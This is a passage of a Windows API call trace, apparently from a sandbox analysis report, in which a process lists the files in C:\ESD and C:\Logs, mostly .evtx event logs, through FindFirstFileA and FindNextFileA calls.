ftCreationTime.dwHighDateTime=0x9bb150, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x9bb168, ftLastWriteTime.dwHighDateTime=0x77bf5d37, nFileSizeHigh=0x95c9298, nFileSizeLow=0x50, dwReserved0=0x8407d0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0117.413] FindFirstFileA (in: lpFileName="C:\\ESD\\*.*", lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f77d0 [0117.414] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0117.414] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 0 [0117.414] FindClose (in: hFindFile=0x10f77d0 | out: hFindFile=0x10f77d0) returned 1 [0117.414] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0117.414] FindFirstFileA (in: lpFileName="C:\\Logs\\*.*", lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf1d773, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xa03727f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfd9ec80, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7410 [0117.416] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf1d773, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xa03727f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfd9ec80, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0117.421] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5052fa31, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5052fa31, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x9bae6c, dwReserved1=0x73013d47, cFileName="Application.evtx", cAlternateFileName="APPLIC~1.EVT")) returned 1 [0117.421] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x505ee5f0, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x505ee5f0, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x9bae6c, dwReserved1=0x73013d47, cFileName="HardwareEvents.evtx", cAlternateFileName="HARDWA~1.EVT")) returned 1 [0117.421] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x505a2134, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x505a2134, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x9bae6c, dwReserved1=0x73013d47, cFileName="Internet Explorer.evtx", cAlternateFileName="INTERN~1.EVT")) returned 1 [0117.421] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5057bed8, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5057bed8, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x9bae6c, dwReserved1=0x73013d47, cFileName="Key Management Service.evtx", cAlternateFileName="KEYMAN~1.EVT")) returned 1 [0117.421] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc1dbd7c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc1dbd7c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x9bae6c, dwReserved1=0x73013d47, cFileName="Microsoft-Client-Licensing-Platform%4Admin.evtx", cAlternateFileName="MICROS~1.EVT")) returned 1 [0117.421] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x38810f0, Size=0x20) returned 0x33ea728 [0117.421] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca5d836e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xca5d836e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx", cAlternateFileName="MICROS~2.EVT")) returned 1 [0117.421] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9206ac5, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9206ac5, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xf9c0f529, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx", cAlternateFileName="MICROS~3.EVT")) returned 1 [0117.421] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4143825, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd4143825, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Microsoft-Windows-AppLocker%4EXE and DLL.evtx", cAlternateFileName="MICROS~4.EVT")) returned 1 [0117.422] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4169a7a, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd4169a7a, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Microsoft-Windows-AppLocker%4MSI and Script.evtx", cAlternateFileName="MI2EEA~1.EVT")) returned 1 [0117.422] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33ea728, Size=0x40) returned 0x3887410 [0117.422] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd418fcc3, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd418fcc3, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx", cAlternateFileName="MI07E1~1.EVT")) returned 1 [0117.422] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd418fcc3, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd418fcc3, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx", cAlternateFileName="MI8196~1.EVT")) returned 1 [0117.422] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd41b5f2d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd41b5f2d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Microsoft-Windows-AppModel-Runtime%4Admin.evtx", cAlternateFileName="MIE36C~1.EVT")) returned 1 [0117.422] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd389efbd, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd389efbd, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Microsoft-Windows-AppReadiness%4Admin.evtx", cAlternateFileName="MIC5CB~1.EVT")) returned 1 [0117.422] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd38c5212, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd38c5212, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x111000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Microsoft-Windows-AppReadiness%4Operational.evtx", cAlternateFileName="MIF8AA~1.EVT")) returned 1 [0117.423] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4143825, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd4143825, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Microsoft-Windows-AppXDeployment%4Operational.evtx", cAlternateFileName="MI34FE~1.EVT")) returned 1 [0117.423] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5af3554f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5af3554f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x211000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Microsoft-Windows-AppXDeploymentServer%4Operational.evtx", cAlternateFileName="MIA24C~1.EVT")) returned 1 [0117.423] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5af3554f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5af3554f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx", cAlternateFileName="MIDBEC~1.EVT")) returned 1 [0117.423] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3887410, Size=0x64) returned 0x2a19508 [0117.423] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85798667, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x85798667, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Microsoft-Windows-AppxPackaging%4Operational.evtx", cAlternateFileName="MI54F1~1.EVT")) returned 1 [0117.423] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd74d25ab, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd74d25ab, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx", cAlternateFileName="MI111F~1.EVT")) returned 1 [0117.423] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1f96ca4, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xe1f96ca4, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Microsoft-Windows-Bits-Client%4Operational.evtx", cAlternateFileName="MI9465~1.EVT")) returned 1 [0117.423] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8783aa15, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x8783aa15, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Microsoft-Windows-CodeIntegrity%4Operational.evtx", cAlternateFileName="MI03A7~1.EVT")) returned 1 [0117.424] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c3c71c5, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x8c3c71c5, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx", cAlternateFileName="MI5CA2~1.EVT")) returned 1 [0117.424] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cc9231, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50cc9231, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx", cAlternateFileName="MI5FD1~1.EVT")) returned 1 [0117.424] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ca2fbd, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50ca2fbd, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Microsoft-Windows-Crypto-DPAPI%4Operational.evtx", cAlternateFileName="MI8BDF~1.EVT")) returned 1 [0117.424] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c3ed420, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x8c3ed420, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx", cAlternateFileName="MIAEBD~1.EVT")) returned 1 [0117.424] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cef47f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50cef47f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Microsoft-Windows-DeviceSetupManager%4Admin.evtx", cAlternateFileName="MIA726~1.EVT")) returned 1 [0117.424] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19508, Size=0x8c) returned 0x2ac04e8 [0117.424] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cc9231, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50cc9231, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Microsoft-Windows-DeviceSetupManager%4Operational.evtx", cAlternateFileName="MI08CB~1.EVT")) returned 1 [0117.424] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc967f17e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc967f17e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Microsoft-Windows-Dhcp-Client%4Admin.evtx", cAlternateFileName="MI8270~1.EVT")) returned 1 [0117.424] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc96cb64b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc96cb64b, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Microsoft-Windows-Dhcpv6-Client%4Admin.evtx", cAlternateFileName="MIEBFF~1.EVT")) returned 1 [0117.424] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca64aa7b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xca64aa7b, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Microsoft-Windows-Diagnosis-DPS%4Operational.evtx", cAlternateFileName="MI9F85~1.EVT")) returned 1 [0117.425] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd9ec80, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xfd9ec80, ftLastAccessTime.dwHighDateTime=0x1d1a04f, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Microsoft-Windows-Diagnostics-Performance%4Operational.evtx", cAlternateFileName="MIBE3D~1.EVT")) returned 1 [0117.425] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9658ef3, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9658ef3, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Microsoft-Windows-GroupPolicy%4Operational.evtx", cAlternateFileName="MIE38D~1.EVT")) returned 1 [0117.425] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9dcc480, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9dcc480, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Microsoft-Windows-HotspotAuth%4Operational.evtx", cAlternateFileName="MIE386~1.EVT")) returned 1 [0117.425] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50b4bacf, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50b4bacf, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx", cAlternateFileName="MI6B25~1.EVT")) returned 1 [0117.425] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb66288f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb66288f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="Microsoft-Windows-International%4Operational.evtx", cAlternateFileName="MI854A~1.EVT")) returned 1 [0117.425] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x506ad1ac, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x506ad1ac, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, 